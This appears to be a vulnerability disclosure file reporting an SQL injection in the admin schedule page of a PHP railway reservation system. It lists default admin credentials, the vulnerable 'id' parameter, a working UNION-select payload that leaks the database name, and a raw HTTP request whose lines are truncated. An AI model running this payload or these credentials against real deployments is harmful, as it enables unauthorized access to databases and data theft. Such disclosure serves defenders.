debug601 Update SQLi-4.md History

1 contributor

28 lines (20 sloc) | 1.25 KB

Online Railway Reservation System v1.0 by oretnom23 has SQL injection

The password for the backend login account is: admin/admin123

vendors: https://www.sourcecodester.com/php/15121/online-railway-reservation-system-phpoop-project-free-source-code.html

Vulnerability File: /orrs/admin/schedules/manage_schedule.php?id=

Vulnerability location: /orrs/admin/schedules/manage_schedule.php?id=, id

Current database name: orrs_db,length is 7

[+] Payload: /orrs/admin/schedules/manage_schedule.php?id=-1%27%20union%20select%201,2,3,database(),5,6,7,8,9,10,11,12,13--+ // Leak place ---> id

```
GET /orrs/admin/schedules/manage_schedule.php?id=-1%27%20union%20select%201,2,3,data
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
```

```
DNT: 1
Cookie: PHPSESSID=hea24clorqs9kplqalqihp0ik4
Connection: close
```